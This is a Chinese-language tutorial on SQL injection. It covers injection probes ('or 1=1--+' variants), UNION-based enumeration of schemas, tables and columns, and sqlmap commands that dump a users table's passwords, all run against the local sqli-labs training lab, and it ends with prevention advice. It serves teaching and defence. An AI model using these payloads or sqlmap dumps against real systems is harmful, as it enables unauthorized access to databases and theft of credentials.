SQL注入原理与实战

原理

SQL注入(SQL Injection)是互联网上最普遍的漏洞之一,使得未经授权的用户可以访问各种敏感数据。非法的SQL命令可以作为入参隐藏在URL或者Web表单中, 如果后台程序不能识别请求参数是正常的用户信息还是非法的SQL命令,那么服务器就会执行了非法的SQL命令。

基础

SQL语句

  • 尝试语句
    SQL中and的优先级大于or的优先级,“or 1=1"使得where条件为true,“–”表示注释,浏览器URL中”+"表示空格。
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
")) or 1=1--+
  • 系统函数
version() MySQL版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
  • 字符串拼接函数
concat(str1,str2,...) 没有分隔符连接字符串
concat_ws(separator,str1,str2,...) 含有分隔符地连接字符串
group_concat(str1,str2,...) 连接一个组的所有字符串,并且以逗号分隔每一条数据
  • UNION操作符
    用于合并两个或者多个SELECT语句的结果集。
SELECT c1,c2,c3,... FROM table1
UNION
SELECT c1,c2,c3,... FROM table2

注入的一般流程

  • 猜数据库
SELECT schema_name
FROM information_schema.schemata
  • 猜某库的数据库表
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'db_xxx'
  • 猜某表的所有列
SELECT column_name
FROM information_schema.columns
WHERE table_name = 'tbl_xxx'
  • 获取某列的内容
SELECT col_1, col_2, ...
FROM tbl_xxx

手工SQL注入

实验环境

docker 安装sqli-libs

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs

猜测SQL语句

id参数查询

请求

http://localhost/Less-1/?id=1

结果

Your Login name:Dumb
Your Password:Dumb

判断id参数类型

http://localhost/Less-1/?id=1 or 1=1

没有报错,推测出ID参数不是数值类型。

id参数值后加单引号

请求

http://localhost/Less-1/?id=1'

页面返回报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

根据报错信息,基本可以判断出SQL语句通过字符串拼接完成, 判断SQL语句类似于这样:

SELECT ?, ?, ?
FROM ?
WHERE id = '$id'
LIMIT 0, 1

判断查询语句字段个数

在查询内容后加上ORDER BY n, 这里的n是我们推测的字段数。如果n数值大于SELECT查询的字段数就会报错。所以可以通过n来判断SELECT查询的字段个数。

http://localhost/Less-1/?id=1' order by 4 --+

报错

Unknown column ‘4’ in ‘order clause’

数量减少一个,调整到3

http://localhost/Less-1/?id=1' order by 3 --+

不报错,由此可以推断SELECT查询的字段数为3个, 可以推断出SQL语句为:

SELECT ?, ?, ?
FROM ?
WHERE id = '$id'
LIMIT 0, 1

获取数据库和用户信息

MySQL中,UNION操作符前后两个SELECT语句的查询结构必须一致。

构造SQL

SELECT ?, ?, ? 
FROM ? 
WHERE id ='' 

UNION 

SELECT 1,database(),user() -- ’ LIMIT 0,1

请求

http://localhost/Less-1/?id=' union select 1,database(),user() --+

结果

Your Login name:security
Your Password:root@localhost

可以得当前使用的数据库名为security,当前登录用户为root@localhost

获取所有数据库名称

information_schema是MYSQL自带的数据库,存储数据库的基本信息,如数据库名称,数据库表名称,列数据库类型和访问权限。数据库名称数量通常大于1,用GROUP_CONCAT函数连接数据库名。

构造SQL

SELECT ?, ?, ? 
FROM ? 
WHERE id ='' 

UNION 

SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) 
			FROM information_schema.schemata)-- ’LIMIT 0,1

查询

http://localhost/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+

结果

Your Login name:2
Your Password:information_schema,challenges,mysql,performance_schema,security

MySQL中所有数据库名称为:

  • information_schema
  • challenges
  • mysql
  • performance_schema
  • security

获取数据库下所有表

构造SQL

SELECT ?, ?, ? FROM ? WHERE id ='' 

UNION 

SELECT 1,2,(SELECT GROUP_CONCAT(table_name) 
			FROM information_schema.tables 
			WHERE table_schema='security') -- ’LIMIT 0,1

请求

http://localhost/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') --+

结果

Your Login name:2
Your Password:emails,referers,uagents,users

security数据库下所有的表为:

  • emails
  • referers
  • uagents
  • users

获取users表中所有字段名称

构造SQL

SELECT ?, ?, ? 
FROM ? 
WHERE id ='' 

UNION

SELECT 1,2,(SELECT GROUP_CONCAT(column_name) 
			FROM information_schema.columns 
			WHERE table_name='users') -- ’LIMIT 0,1

请求

http://localhost/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users') --+

结果

Your Login name:2
Your Password:id,username,password

users表的字段为:

  • id
  • username
  • password

sqlmap自动化SQL注入

  • 获取当前数据库和用户信息
sqlmap -u "http://localhost/Less-1/?id=1" --current-db --current-user

结果

 [21:36:08] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux Ubuntu
 web application technology: Apache 2.4.7, PHP 5.5.9
 back-end DBMS: MySQL >= 5.5
 [21:36:08] [INFO] fetching current user
 current user: 'root@localhost'
 [21:36:08] [INFO] fetching current database
 current database: 'security'
  • 获取MySQL中所有数据库名称
sqlmap -u "http://localhost/Less-1/?id=1" --threads=5 --dbs

结果

[21:37:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
....
....
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
  • 查询security表数据库中所有数据表
sqlmap -u "http://localhost/Less-1/?id=1" --threads=5 -D security --tables

结果

[21:39:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
....
....
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

  • 查询users数据表中所有字段名称
sqlmap  -u "http://localhost/Less-1/?id=1" --threads=5 -D security -T users --columns

结果

[21:48:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
....
....
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
  • 查询users表用户信息
sqlmap -u "http://localhost/Less-1/?id=1" -D security -T users -C id,password,username --dump

结果

[21:51:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[21:51:01] [INFO] fetching entries of column(s) 'id, password, username' for table 'users' in database 'security'
....
....
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

预防SQL注入

SQL注入不是Web或者数据库服务器的缺陷,多是由于编程实践不规范导致的。预防SQL注入要注意以下几点:

  • 严格限制数据库的操作权限,用户仅拥有完成工作最小化权限
  • 检查输入数据的格式,限制输入变量的类型
  • 特殊字符存进数据库之前要转码
  • 使用数据库的参数化查询接口,而不是直接拼接SQL语句。例如使用GO的database/sql包的Prepare,Query,Exec函数
  • 上线前使用工具检查SQL注入,如sqlmap
  • 不要在对外的页面上打印出SQL错误,攻击者会使用这些错误信息构造SQL注入攻击。

参考

  • https://astaxie.gitbooks.io/build-web-application-with-golang/en/09.4.html
  • https://time.geekbang.org/column/article/137050
  • https://github.com/Audi-1/sqli-labs
  • MySQL注入天书

你可能感兴趣的:(安全)